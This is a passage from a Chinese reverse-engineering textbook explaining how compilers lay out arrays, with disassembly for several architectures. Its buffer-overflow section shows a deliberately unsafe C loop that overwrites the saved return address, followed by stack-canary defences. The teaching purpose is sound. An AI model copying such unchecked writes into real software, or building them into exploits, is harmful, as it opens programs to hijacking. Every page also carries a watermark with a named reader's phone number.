$LN2@main $LN1@main: xor eax, eax mov esp, ebp pop ebp ret 0 _main ENDP 这里除去两个循环之外没有非常特别之处。第一个循环填充数据,第二个循环打印数据。“shl ecx, 1” 指令所做的运算是 ecx=ecx*2,更详细的介绍请参见 16.2.1 节。 程序为数组申请了 80 字节的栈空间,以存储 20 个 4 字节元素。 现在使用 OllyDbg 打开这个执行程序。 如图 18.1 所示,数组中的每个元素都是 32 位的 int 型数据,数组每个元素的值都是其索引值的 2 倍。 图 18.1 OllyDbg:填充数组 因为全部数组都存储于栈中,所以我们可以在内存数据窗口里看到整个数组。 GCC 若使用 GCC 4.4.1 编译上述程序,可得到如下所示的指令。 指令清单 18.2 GCC 4.4.1 public main main proc near ; DATA XREF: _start+17 var_70 = dword ptr -70h 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 225 var_6C = dword ptr -6Ch var_68 = dword ptr -68h i_2 = dword ptr -54h i = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 70h mov [esp+70h+i], 0 ; i=0 jmp short loc_804840A loc_80483F7: mov eax, [esp+70h+i] mov edx, [esp+70h+i] add edx, edx ; edx=i*2 mov [esp+eax*4+70h+i_2], edx add [esp+70h+i], 1 ; i++ loc_804840A: cmp [esp+70h+i], 13h jle short loc_80483F7 mov [esp+70h+i], 0 jmp short loc_8048441 loc_804841B: mov eax, [esp+70h+i] mov edx, [esp+eax*4+70h+i_2] mov eax, offset aADD ; "a[%d]=%d\n" mov [esp+70h+var_68], edx mov edx, [esp+70h+i] mov [esp+70h+var_6C], edx mov [esp+70h+var_70], eax call _printf add [esp+70h+i], 1 loc_8048441: cmp [esp+70h+i], 13h jle short loc_804841B mov eax, 0 leave retn main endp 实际上变量 a 的数据类型是整型指针。严格地说,在把数组传递给函数的时候,传递的数据就是指向 第一个元素的指针,我们再根据这个指针就可以轻松地计算出数组每个元素的地址(即指针)。如果使用 a[idx]的形式表示数组元素,其中 idx 是数组元素在数组里的排列序号(即索引号),那么就可以通过数组 第一个元素的地址、索引号和数据容量求得各个元素的地址。 举个典型的例子:字符串常量“string”是字符型数组,它的每个字符元素都是 const char*型数据。使用索引 号之后,我们就可以使用“string”[i]的形式描述字符串中的第 i 个字符——这正是 C/C++表达式的表示方法! 18.1.2 ARM Non-optimizing Keil 6/2013 (ARM mode) EXPORT _main _main STMFD SP!, {R4,LR} SUB SP, SP, #0x50 ;分配 20 个 int 的存储空间 ; first loop 异步社区会员 dearfuture(15918834820) 专享 尊重版权 226 逆向工程权威指南(上册) MOV R4, #0 ; i B loc_4A0 loc_494 MOV R0, R4,LSL#1 ; R0=R4*2 STR R0, [SP,R4,LSL#2] ; store R0 to SP+R4<<2 (same as SP+R4*4) ADD R4, R4, #1 ; i=i+1 loc_4A0 CMP R4, #20 ; i<20? BLT loc_494 ;yes? loop again ; second loop MOV R4, #0 ; i B loc_4C4 loc_4B0 LDR R2, [SP,R4,LSL#2] ; (printf 的第 2 个参数) R2=*(SP+R4<<4)(等同于*(SP+R4*4)) MOV R1, R4 ; (printf 的第 1 个参数) R1=i ADR R0, aADD ; "a[%d]=%d\n" BL __2printf ADD R4, R4, #1 ; i=i+1 loc_4C4 CMP R4, #20 ; i<20? BLT loc_4B0 ; yes, run loop body again MOV R0, #0 ; value to return ADD SP, SP, #0x50 ; 释放 20 个 int 的存储空间 LDMFD SP!, {R4,PC} 单个整型数据占 32 位(4 字节)存储空间。以此类推,要存储 20 个 int 型数据就需要 80(0x50)个 字节的空间。函数尾声的“SUB SP, SP, 0x50”指令释放的空间就是存储数组所用的空间。 在两个循环体内,循环控制变量 i 都使用 R4 寄存器。 在填充数组元素的时候,编译器用左移 1 位的运算“LSL#1”实现乘法运算“i×2”,形成了“MOV R0, R4,LSL#1”指令。 “STR R0,[SP, R4, LSL#2]”实现了把 R0 寄存器的值写入数组。计算数组元素的原理:因为 SP 可代 表数组的起始地址、R4 代表变量 i,所以可通过 i 左移 2 位求得 i×4 的相对偏移地址,再计算地址“SP+ R4×4”即可推导出数组元素 a[i]的指针地址。 在第二个循环里,“LDR R2, [SP,R4,LSL#2]”指令读取 a[i]的值。 Optimizing Keil 6/2013 (Thumb mode) _main PUSH {R4,R5,LR} ; allocate place for 20 int variables + one more variable SUB SP, SP, #0x54 ;第一个循环 MOV R0,#0 ;i MOV R5, SP ; pointer to first array element loc_1CE LSLS R1, R0, #1 ; R1=i<<1 (same as i*2) LSLS R2, R0, #2 ; R2=i<<2 (same as i*4) ADDS R0, R0, #1 ; i=i+1 CMP R0, #20 ; i<20? STR R1, [R5,R2] ; store R1 to *(R5+R2) (same R5+i*4) BLT loc_1CE ; yes, i<20, run loop body again ;第二个循环 MOVS R4, #0 ; i=0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 227 loc_1DC LSLS R0, R4, #2 ; R0=i<<2 (same as i*4) LDR R2, [R5,R0] ; load from *(R5+R0) (same as R5+i*4) MOVS R1, R4 ADR R0, aADD ; "a[%d]=%d\n" BL __2printf ADDS R4, R4, #1 ; i=i+1 CMP R4, #20 ; i<20? BLT loc_1DC ; yes, i<20, run loop body again MOVS R0, #0 ; value to return ; deallocate Chunk, allocated for 20 int variables + one more variable ADD SP, SP, #0x54 POP {R4,R5,PC} Thumb 模式的程序和 ARM 模式的程序十分相近。在 Thumb 模式里,位移操作有特定的对应指令(如 LSLS)。上述程序借助 Thumb 模式的指令计算每个数组元素的地址。 另外,本例分配的栈空间比实际需求大了一些。这个栈里的最后 4 个字节不会被占用。 Non-optimizing GCC 4.9.1 (ARM64) 指令清单 18.3 Non-optimizing GCC 4.9.1 (ARM64) .LC0: .string "a[%d]=%d\n" main: ; save FP and LR in stack frame: stp x29, x30, [sp, -112]! ; set stack frame (FP=SP) add x29, sp, 0 ; setting initial counter variable at 0 (WZR is the register always holding zero): str wzr, [x29,108] ; jump to loop condition checking code: b .L2 .L3: ; load value of "i" variable: ldr w0, [x29,108] ; multiplicate it by 2: lsl w2, w0, 1 ; find a place of an array in local stack: add x0, x29, 24 ; load 32-bit integer from local stack and sign extend it to 64-bit one: ldrsw x1, [x29,108] ; calculate address of element (X0+X1<<2=array address+i*4) ; and store W2 (i*2) there: str w2, [x0,x1,lsl 2] ; increment counter (i): ldr w0, [x29,108] add w0, w0, 1 str w0, [x29,108] .L2: ; check if we finished: ldr w0, [x29,108] cmp w0, 19 ; jump to L3 (loop body begin) if not: ble .L3 ; second part of the function begins here. ; setting initial counter variable at 0. ; by the way, the same place in the local stack was used for counter, ; because the same local variable (i) is being used as counter. str wzr, [x29,108] b .L4 .L5: ; calculate array address: add x0, x29, 24 ; load "i" value: ldrsw x1, [x29,108] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 228 逆向工程权威指南(上册) ; load value from the array at the address (X0+X1<<2 = address of array + i*4) ldr w2, [x0,x1,lsl 2] ; load address of the "a[%d]=%d\n" string: adrp x0, .LC0 add x0, x0, :lo12:.LC0 ; load "i" variable to W1 and pass it to printf() as second argument: ldr w1, [x29,108] ; W2 still contains the value of array element which was just loaded. ; call printf(): bl printf ; increment "i" variable: ldr w0, [x29,108] add w0, w0, 1 str w0, [x29,108] .L4: ; are we finished? ldr w0, [x29,108] cmp w0, 19 ; jump to the loop body begin if not: ble .L5 ; return 0 mov w0, 0 ; restore FP and LR: ldp x29, x30, [sp], 112 ret 18.1.3 MIPS 面向 MIPS 的编译器会大量使用 S-字头寄存器。因为 S-字头寄存器不属于临时寄存器,所以函数在序 言和尾声部分对这些寄存器的值进行了备份和还原。 指令清单 18.4 Optimizing GCC 4.4.5 (IDA) main: var_70 = -0x70 var_68 = -0x68 var_14 = -0x14 var_10 = -0x10 var_C = -0xC var_8 =-8 var_4 =-4 ; function prologue: lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x80 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x80+var_4($sp) sw $s3, 0x80+var_8($sp) sw $s2, 0x80+var_C($sp) sw $s1, 0x80+var_10($sp) sw $s0, 0x80+var_14($sp) sw $gp, 0x80+var_70($sp) addiu $s1, $sp, 0x80+var_68 move $v1, $s1 move $v0, $zero ; that value will be used as a loop terminator. ; it was precalculated by GCC compiler at compile stage: li $a0, 0x28 # '(' loc_34: # CODE XREF: main+3C ; store value into memory: sw $v0, 0($v1) ; increase value to be stored by 2 at each iteration: addiu $v0, 2 ; loop terminator reached? 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 229 bne $v0, $a0, loc_34 ; add 4 to address anyway: addiu $v1, 4 ; array filling loop is ended ; second loop begin la $s3, $LC0 # "a[%d]=%d\n" ; "i" variable will reside in $s0: move $s0, $zero li $s2, 0x14 loc_54: # CODE XREF: main+70 ; call printf(): lw $t9, (printf & 0xFFFF)($gp) lw $a2, 0($s1) move $a1, $s0 move $a0, $s3 jalr $t9 ; increment "i": addiu $s0, 1 lw $gp, 0x80+var_70($sp) ; jump to loop body if end is not reached: bne $s0, $s2, loc_54 ; move memory pointer to the next 32-bit word: addiu $s1, 4 ; function epilogue lw $ra, 0x80+var_4($sp) move $v0, $zero lw $s3, 0x80+var_8($sp) lw $s2, 0x80+var_C($sp) lw $s1, 0x80+var_10($sp) lw $s0, 0x80+var_14($sp) jr $ra addiu $sp, 0x80 $LC0: .ascii "a[%d]=%d\n"<0> # DATA XREF: main+44 编译器对第一个循环使用了代入的技术对变量之进行了等效处理。在第一个循环的循环体中,数组元 素的值($V0 的值)是控制变量 i 的 2 倍,即 i×2,所以在每次迭代后控制变量的增量都是 2。另外,数组 元素的地址增量为 4,编译器单独分配了$V1 寄存器给这个指针使用,也令其增量为 4。 第二个循环体根据数组索引值 i、通过 printf()函数依次输出数组元素。编译器首先使用$S0 寄存器存储 索引值,$S0 在每次迭代中的增量为 1。与前一个循环体相似,它单独使用$S1 寄存器存储内存地址,并使 其在迭代间的增量为 4。 这便是本书第 39 章中会提到的循环优化技术。通过这种技术,编译器可尽量避免效率较低的乘法 运算。 18.2 缓冲区溢出 18.2.1 读取数组边界以外的内容 综上所述,编译器借助索引 index、以 array[index]的形式表示数组。若仔细审查二进制程序的代码, 那么您可能会发现程序并没有对数组进行边界检查、没有判断索引是否在 20 以内。那么,如果程序访问数 组边界以外的数据,又会发生什么情况?C/C++编译器确实不会进行边界检查,这也是它备受争议之处。 编译、并运行下面的程序,会发现整个过程中不会遇到错误提示。 #include <stdio.h> int main() { 异步社区会员 dearfuture(15918834820) 专享 尊重版权 230 逆向工程权威指南(上册) int a[20]; int i; for (i=0; i<20; i++) a[i]=i*2; printf ("a[20]=%d\n", a[20]); return 0; }; 使用 MSVC 2008 编译后可得到如下所示的指令。 指令清单 18.5 Non-optimizing MSVC 2008 $SG2474 DB 'a[20]=%d', 0aH, 00H _i$ = -84 ; size = 4 _a$ = -80 ; size = 80 _main PROC push ebp mov ebp, esp sub esp, 84 mov DWORD PTR _i$[ebp], 0 jmp SHORT $LN3@main $LN2@main: mov eax, DWORD PTR _i$[ebp] add eax, 1 mov DWORD PTR _i$[ebp], eax $LN3@main: cmp DWORD PTR _i$[ebp], 20 jge SHORT $LN1@main mov ecx, DWORD PTR _i$[ebp] shl ecx, 1 mov edx, DWORD PTR _i$[ebp] mov DWORD PTR _a$[ebp+edx*4], ecx jmp SHORT $LN2@main $LN1@main: mov eax, DWORD PTR _a$[ebp+80] push eax push OFFSET $SG2474 ; 'a[20]=%d' call DWORD PTR __imp__printf add esp, 8 xor eax, eax mov esp, ebp pop ebp ret 0 _main ENDP _TEXT ENDS END 其执行结果如图 18.2 所示。 这是地址接近栈内数组的数据的值。它的地址距离数组的起始地址有 80 字节。 让我们通过 OllyDbg 看看这个数从哪里来。如图 18.3 所示,使用 OllyDbg 加载这个程序,找到数组最后一个值之后的数据。 这是什么的值?根据栈结构来判断,这个值是先前保存的 EBP 寄存器的值。我们继续跟踪这个程序, 如图 18.4 所示,看看它的提取过程。 到底有没有什么办法控制数组的访问边界问题呢?如果需要控制数组边界,就要修改编译器,强制其 生成的程序检查索引 index 是否在边界之内。某些高级编程语言,如 Python 和 Java,就会进行边界检查。 但是这种控制会严重影响程序的性能。 图 18.2 OllyDbg:运算结果 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 231 图 18.3 OllyDbg:读取数组中的第 20 个元素、并使用 printf()输出 图 18.4 OllyDbg:还原 EBP 寄存器的值 18.2.2 向数组边界之外的地址赋值 既然我们可以“非法地”利用栈来读取数组边界以外的数值,那么我们是否也可以向数组边界以外的 地址里写入数据呢? 可通过下面的程序来进行验证。 #include <stdio.h> int main() { int a[20]; int i; for (i=0; i<30; i++) a[i]=i; return 0; }; MSVC 使用 MSVC 编译后可得到如下所示的指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 232 逆向工程权威指南(上册) 指令清单 18.6 Non-optimizing MSVC 2008 _TEXT SEGMENT _i$ = -84 ; size = 4 _a$ = -80 ; size = 80 _main PROC push ebp mov ebp, esp sub esp, 84 mov DWORD PTR _i$[ebp], 0 jmp SHORT $LN3@main $LN2@main: mov eax, DWORD PTR _i$[ebp] add eax, 1 mov DWORD PTR _i$[ebp], eax $LN3@main: cmp DWORD PTR _i$[ebp], 30 ; 0000001eH jge SHORT $LN1@main mov ecx, DWORD PTR _i$[ebp] mov edx, DWORD PTR _i$[ebp] ; 这条指令用处不大 mov DWORD PTR _a$[ebp+ecx*4], edx; 因为也可以用 ECX 取代 edx jmp SHORT $LN2@main $LN1@main: xor eax, eax mov esp, ebp pop ebp ret 0 _main ENDP 运行这个可执行程序的时候,程序崩溃了。崩溃并没什么希奇的,但我们要研究一下它是在哪里崩溃的。 使用 OllyDbg 加载整个程序,等到写满 30 个元素,如图 18.5 所示。 图 18.5 OllyDbg:恢复 EBP 的值之后 然后逐步执行程序,等待函数结束,如图 18.6 所示。 现在,我们再来分析寄存器状态。 现在 EIP 的值(PC)是 0x15。这不是程序的合法地址——至少对于 win32 系统来说这个值有问题!程 序在此处发生异常。同样有趣的是,这时 EBP 的值是 0x14,ECX 和 EDX 的值是 0x1D。 我们一起回顾一下栈结构。 待程序进入 main()函数之时,程序使用栈来保存 EBP 寄存器的值。然后程序分配了 84 个字节,用于 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 233 存储数组和变量 i。计算方法是“(20+1)*sizeof(int)”。栈顶指针 ESP 现在指向栈内的变量_i,在执行 PUSH 入栈操作之后它会指向_i 的下一个地址。 图 18.6 OllyDbg:对 EIP 进行出栈操作,但是 OllyDbg 找不到 0x15 处的程序代码 即,main()函数的栈结构如下: ESP i 所占用的 4 字节 ESP+4 a[20]占用的 80 字节 ESP+84 保存过的 EBP ESP+88 返回地址 赋值给 a[19]的时候,数组 a[]已经被全部赋值。 赋值给 a[20],实际修改的是栈里保存的 EBP。 观察程序崩溃时的寄存器状态。本例将数字 20(0x14)赋值给 a[19]。在函数退出之前,CPU 会通过 栈恢复 EBP 的初始值。本例它会收到的值是 20(0x14)最后运行 RET 指令,相当于执行 POP EIP 指令。 RET 指令将程序的控制权传递给栈里的返回地址(该地址为 CRT 内部调用 main()的地址),不过这个 RA 的值被改为 21(0x15)。CPU 会寻找 0x15 处的代码,以继续执行程序。但是那处地址里没有可执行代 码,所以程序就崩溃了。 恭喜!您已经了解了缓冲区溢出 ① GCC 的精妙之处。 设想一下:用字符串替代 int 数组,刻意构造个超长字符串,把字符串传递给程序;因为函数不会检 查字符串长度,会直接赋值给较短的缓冲区,您就可以强制这个程序跳转到其他程序的地址。纸上谈兵固 然简单,但是无论实际情况再怎么复杂,其原理都是一样的。 使用 GCC 4.4.1 编译上述程序,可得到: public main main proc near a = dword ptr -54h i = dword ptr -4 ① http://en.wikipedia.org/wiki/Stack_buffer_overflow。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 234 逆向工程权威指南(上册) push ebp mov ebp, esp sub esp, 60h ; 96 mov [ebp+i], 0 jmp short loc_80483D1 loc_80483C3: mov eax, [ebp+i] mov edx, [ebp+i] mov [ebp+eax*4+a], edx add [ebp+i], 1 loc_80483D1: cmp [ebp+i], 1Dh jle short loc_80483C3 mov eax, 0 leave retn main endp 在 Linux 系统里执行这个程序会引发段错误/Segmentation fault。 我们使用 GDB Debugger 调试它: (gdb) r Starting program: /home/dennis/RE/1 Program received signal SIGSEGV, Segmentation fault. 0x00000016 in ?? () (gdb) info registers eax 0x0 0 ecx 0xd2f96388 -755407992 edx 0x1d 29 ebx 0x26eff4 2551796 esp 0xbffff4b0 0xbffff4b0 ebp 0x15 0x15 esi 0x0 0 edi 0x0 0 eip 0x16 0x16 eflags 0x10202 [ IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) 因为 Linux 和 Windows 的栈结构不完全相同,所以 Linux/Win32 下寄存器的值也存在细微的差别。 18.3 缓冲区溢出的保护方法 无论C/C++程序员是粗心大意还是严肃认真,我们都可通过编译器的技术手段防止缓冲区溢出。例如, 可以启用MSVC的编译器选项 ① 另外,还可以在函数启动时构造一些本地变量,在里面写入随即数,在函数结束之前检查这些值是否 发生变化。如果这些值发生了变化,就不应当 以 RET 方式结束函数,而是通过其他手段终止(stop/hang) : /RTCs 启用栈帧的实时检查 /GZ 启用栈检测(/RTCs) ① 请参见维基百科 https://en.wikipedia.org/wiki/Buffer_overflow_protection。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 235 程序。强行关闭应用程序或许确实不怎么体面,但是总比让他人入侵主机要高明。 有人把这种写入的随机值叫作“百灵鸟 canary”,这个绰号来自于“矿工的百灵鸟 miners’ canary”。所 谓“矿工的百灵鸟”,确实是指过去矿工下矿时所带的百灵鸟。矿工使用百灵鸟来快速检测矿道里的毒气。 百灵鸟对井下气体十分敏感,它们在遇到不良气体的时候就会表现得烦躁不安,甚至会直接死亡。 如果启用 MSVC 的 RTC1 和 RTCs 选项编译本章开头的那段程序,就会在汇编指令里看到函数在退出 之前调用@_RTC_CheckStackVars@8,用以检测“百灵鸟”是否会报警。 还是来看看 GCC 预防缓冲区溢出的方法吧。我们借用 5.2.4 节的例子来进行说明: #ifdef __GNUC__ #include <alloca.h> // GCC #else #include <malloc.h> // MSVC #endif #include <stdio.h> void f() { char *buf=(char*)alloca (600); #ifdef __GNUC__ snprintf (buf, 600, "hi! %d, %d, %d\n", 1, 2, 3); // GCC #else _snprintf (buf, 600, "hi! %d, %d, %d\n", 1, 2, 3); // MSVC #endif puts (buf); }; 即使不指定任何参数,默认情况下 GCC 4.7.3 也会在代码里加入百灵鸟。 经 GCC 4.7.3 编译前面的程序可得到如下所示的指令。 指令清单 18.7 GCC4.7.3 .LC0: .string "hi! %d, %d, %d\n" f: push ebp mov ebp, esp push ebx sub esp, 676 lea ebx, [esp+39] and ebx, -16 mov DWORD PTR [esp+20], 3 mov DWORD PTR [esp+16], 2 mov DWORD PTR [esp+12], 1 mov DWORD PTR [esp+8], OFFSET FLAT:.LC0 ; "hi! %d, %d, %d\n" mov DWORD PTR [esp+4], 600 mov DWORD PTR [esp], ebx mov eax, DWORD PTR gs:20; mov DWORD PTR [ebp-12], eax xor eax, eax call _snprintf mov DWORD PTR [esp], ebx call puts mov eax, DWORD PTR [ebp-12] xor eax, DWORD PTR gs:20; jne .L5 mov ebx, DWORD PTR [ebp-4] leave ret .L5: call __stack_chk_fail 随机值位于 gs:20。在函数启动的时候,程序在栈里写入这个百灵鸟,并且在函数退出之前检测它是否 异步社区会员 dearfuture(15918834820) 专享 尊重版权 236 逆向工程权威指南(上册) 发生了变化、是否与 gs:20 一致。如果其值发生了变化,将会调用__stack_chk_fail,在 Ubuntu 13.04 x86 下, 我们会在控制台看见下述报错信息: *** buffer overflow detected ***: ./2_1 terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x63)[0xb7699bc3] /lib/i386-linux-gnu/libc.so.6(+0x10593a)[0xb769893a] /lib/i386-linux-gnu/libc.so.6(+0x105008)[0xb7698008] /lib/i386-linux-gnu/libc.so.6(_IO_default_xsputn+0x8c)[0xb7606e5c] /lib/i386-linux-gnu/libc.so.6(_IO_vfprintf+0x165)[0xb75d7a45] /lib/i386-linux-gnu/libc.so.6(__vsprintf_chk+0xc9)[0xb76980d9] /lib/i386-linux-gnu/libc.so.6(__sprintf_chk+0x2f)[0xb7697fef] ./2_1[0x8048404] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf5)[0xb75ac935] ======= Memory map: ======== 08048000-08049000 r-xp 00000000 08:01 2097586 /home/dennis/2_1 08049000-0804a000 r--p 00000000 08:01 2097586 /home/dennis/2_1 0804a000-0804b000 rw-p 00001000 08:01 2097586 /home/dennis/2_1 094d1000-094f2000 rw-p 00000000 00:00 0 [heap] b7560000-b757b000 r-xp 00000000 08:01 1048602 /lib/i386-linux-gnu/libgcc_s.so.1 b757b000-b757c000 r--p 0001a000 08:01 1048602 /lib/i386-linux-gnu/libgcc_s.so.1 b757c000-b757d000 rw-p 0001b000 08:01 1048602 /lib/i386-linux-gnu/libgcc_s.so.1 b7592000-b7593000 rw-p 00000000 00:00 0 b7593000-b7740000 r-xp 00000000 08:01 1050781 /lib/i386-linux-gnu/libc-2.17.so b7740000-b7742000 r--p 001ad000 08:01 1050781 /lib/i386-linux-gnu/libc-2.17.so b7742000-b7743000 rw-p 001af000 08:01 1050781 /lib/i386-linux-gnu/libc-2.17.so b7743000-b7746000 rw-p 00000000 00:00 0 b775a000-b775d000 rw-p 00000000 00:00 0 b775d000-b775e000 r-xp 00000000 00:00 0 [vdso] b775e000-b777e000 r-xp 00000000 08:01 1050794 /lib/i386-linux-gnu/ld-2.17.so b777e000-b777f000 r--p 0001f000 08:01 1050794 /lib/i386-linux-gnu/ld-2.17.so b777f000-b7780000 rw-p 00020000 08:01 1050794 /lib/i386-linux-gnu/ld-2.17.so bff35000-bff56000 rw-p 00000000 00:00 0 [stack] Aborted (core dumped) gs开头的寄存器就是常说的段寄存器。在MS-DOS和基于DOS的系统里,段寄存器的作用很广泛。但是, 今天它的作用发生了变化。简单地说,Linux下的gs 寄存器总是指向TLS(参见第 65 章)——存储线程的多种 特定信息。(Win32 环境下的fs寄存器起到Linux下gs寄存器的作用。Win32 的fs寄存器指向TIB ① 18.3.1 Optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) ) 如需详细了解 gs 寄存器的作用,请在 3.11 以上版本的 Linux 源代码中查阅文件(arch/x86/include/ asm/stackprotector.h)。这个文件的注释详细描述了有关变量的功能。 我们使用 LLVM 编译本章开头的数组程序,看看它是如何使用百灵鸟的: _main var_64 = -0x64 var_60 = -0x60 var_5C = -0x5C var_58 = -0x58 var_54 = -0x54 var_50 = -0x50 var_4C = -0x4C var_48 = -0x48 var_44 = -0x44 var_40 = -0x40 var_3C = -0x3C var_38 = -0x38 ① TIB 是 Thread Information Block。请参见 https://en.wikipedia.org/wiki/Win32_Thread_Information_Block。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 237 var_34 = -0x34 var_30 = -0x30 var_2C = -0x2C var_28 = -0x28 var_24 = -0x24 var_20 = -0x20 var_1C = -0x1C var_18 = -0x18 canary = -0x14 var_10 = -0x10 PUSH {R4-R7,LR} ADD R7, SP, #0xC STR.W R8, [SP,#0xC+var_10]! SUB SP, SP, #0x54 MOVW R0, #aObjc_methtype ; "objc_methtype" MOVS R2, #0 MOVT.W R0, #0 MOVS R5, #0 ADD R0, PC LDR.W R8, [R0] LDR.W R0, [R8] STR R0, [SP,#0x64+canary] MOVS R0, #2 STR R2, [SP,#0x64+var_64] STR R0, [SP,#0x64+var_60] MOVS R0, #4 STR R0, [SP,#0x64+var_5C] MOVS R0, #6 STR R0, [SP,#0x64+var_58] MOVS R0, #8 STR R0, [SP,#0x64+var_54] MOVS R0, #0xA STR R0, [SP,#0x64+var_50] MOVS R0, #0xC STR R0, [SP,#0x64+var_4C] MOVS R0, #0xE STR R0, [SP,#0x64+var_48] MOVS R0, #0x10 STR R0, [SP,#0x64+var_44] MOVS R0, #0x12 STR R0, [SP,#0x64+var_40] MOVS R0, #0x14 STR R0, [SP,#0x64+var_3C] MOVS R0, #0x16 STR R0, [SP,#0x64+var_38] MOVS R0, #0x18 STR R0, [SP,#0x64+var_34] MOVS R0, #0x1A STR R0, [SP,#0x64+var_30] MOVS R0, #0x1C STR R0, [SP,#0x64+var_2C] MOVS R0, #0x1E STR R0, [SP,#0x64+var_28] MOVS R0, #0x20 STR R0, [SP,#0x64+var_24] MOVS R0, #0x22 STR R0, [SP,#0x64+var_20] MOVS R0, #0x24 STR R0, [SP,#0x64+var_1C] MOVS R0, #0x26 STR R0, [SP,#0x64+var_18] MOV R4, 0xFDA ; "a[%d]=%d\n" MOV R0, SP ADDS R6, R0, #4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 238 逆向工程权威指南(上册) ADD R4, PC B loc_2F1C ; second loop begin loc_2F14 ADDS R0, R5, #1 LDR.W R2, [R6, R5, LSL#2] MOV R5, R0 loc_2F1C MOV R0, R4 MOV R1, R5 BLX _printf CMP R5, #0x13 BNE loc_2F14 LDR.W R0, [R8] LDR R1, [SP,#0x64+canary] CMP R0, R1 ITTTT EQ ; MOVEQ R0, #0 ADDEQ SP, SP, #0x54 LDREQ.W R8, [SP+0x64+var_64],#4 POPEQ {R4-R7,PC} BLX ___stack_chk_fail 这段 Thumb-2 模式程序最显著的特点就是循环体被逐一展开了。LLVM 编译器判定这样的效率较高。 另外,ARM 模式下这种指令的效率可能更高。本书就不再进行有关验证了。 函数尾声检测了“百灵鸟”的状态。如果栈内的值没被修改(和 R8 寄存器所指向的值相等),则会执行 ITTTT EQ 后面的 4 条指令——令 R0 为 0、运行函数尾声并且退出函数。如果“百灵鸟”发生了变化,程序将跳过 ITTTT EQ 后面的 4 条带“-EQ”的指令,转而调用___stack_chk_fail 进行异常处理,实际上会终止个程序。 18.4 其他 现在我们应该可以理解为什么C/C++编译不了下面的程序了。 ① 18.5 字符串指针 void f(int size) { int a[size]; ... }; 在编译阶段,编译器必须确切地知道需要给数组分配多大的存储空间,它需要事先明确分配局部栈或 数据段(全局变量)的格局,所以编译器无法处理上述这种长度可变的数组。 如果无法事先确定数组的长度,那么我们就应当使用 malloc()函数分配出一块内存,然后直接按照常 规变量数组的方式访问这块内存;或者遵循 C99 标准(参见 ISO07,6.7.5/2)进行处理,但是遵循 C99 标 准而设计出来的程序,内部实现的方法更接近 alloca()函数(详情请参阅 5.2.4 节)。 本节以下述程序为例。 指令清单 18.8 查询月份名称 #include <stdio.h> const char* month1[]= ① 但是根据 C99 标准[ISO07,pp 6.7.5/2]这种可变长数组是合法数据,可以被编译。GCC 确实可以使用栈处理动态数组。这时 候,它实现数组的方式和 5.2.4 节介绍过的 alloca()函数的实现方式相近。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 18 章 数 组 239 { "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" }; // in 0..11 range const char* get_month1 (int month) { return month1[month]; }; 18.5.1 x64 指令清单 18.9 Optimizing MSVC 2013 x64 _DATA SEGMENT month1 DQ FLAT:$SG3122 DQ FLAT:$SG3123 DQ FLAT:$SG3124 DQ FLAT:$SG3125 DQ FLAT:$SG3126 DQ FLAT:$SG3127 DQ FLAT:$SG3128 DQ FLAT:$SG3129 DQ FLAT:$SG3130 DQ FLAT:$SG3131 DQ FLAT:$SG3132 DQ FLAT:$SG3133 $SG3122 DB 'January', 00H $SG3123 DB 'February', 00H $SG3124 DB 'March', 00H $SG3125 DB 'April', 00H $SG3126 DB 'May', 00H $SG3127 DB 'June', 00H $SG3128 DB 'July', 00H $SG3129 DB 'August', 00H $SG3130 DB 'September', 00H $SG3156 DB '%s', 0aH, 00H $SG3131 DB 'October', 00H $SG3132 DB 'November', 00H $SG3133 DB 'December', 00H _DATA ENDS month$ = 8 get_month1 PROC movsxd rax, ecx lea rcx, OFFSET FLAT:month1 mov rax, QWORD PTR [rcx+rax*8] ret 0 get_month1 ENDP 上述程序的功能如下:  第一条指令 MOVSXD 把 ECX 的 32 位整型数值、连同其符号扩展位(sign-extension)扩展为 64 位 整型数据,再存储于 RAX 寄存器中。ECX 存储的“月份”信息是 32 位整形数据。因为程序随后 还要进行 64 位运算,所以需要把输入变量转换为 64 位值。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 240 逆向工程权威指南(上册)  然后函数把指针表的地址存储于 RCX 寄存器。  最后,函数的输入变量(month)的值乘以 8、再与指针表的地址相加。因为是 64 位系统的缘故,每 个地址(即指针)的数据需要占用 64 位(即 8 字节)。所以指针表中的每个元素都占用 8 字节空 间。因此,最终字符串的地址要加上 month*8。MOV 指令不仅完成了字符串地址的计算,而且还 完成了指针表的查询。在输入值为 1 时,函数将返回字符串“February”的指针地址。 编译器的优化编译结果更为直接。 指令清单 18.10 Optimizing GCC 4.9 x64 movsx rdi, edi mov rax, QWORD PTR month1[0+rdi*8] ret 18.5.2 32 位 MSVC 使用 32 位 MSVC 编译器编译上述程序可得如下所示的指令。 指令清单 18.11 Optimizing MSVC 2013 x86 _month$ = 8 _get_month1 PROC mov eax, DWORD PTR _month$[esp-4] mov eax, DWORD PTR _month1[eax*4] ret 0 _get_month1 ENDP 32 位程序就不用把输入值转化为 64 位数据了。此外,32 位系统的指针属于 4 字节数据,所以相关的 计算因子变为了 4。 18.5.3 32 位 ARM ARM in ARM mode 指令清单 18.12 Optimizing Keil 6/2013 (ARM mode) get_month1 PROC LDR r1,|L0.100| LDR r0,[r1,r0,LSL #2] BX lr ENDP |L0.100| DCD ||.data|| DCB "January",0 DCB "February",0 DCB "March",0 DCB "April",0 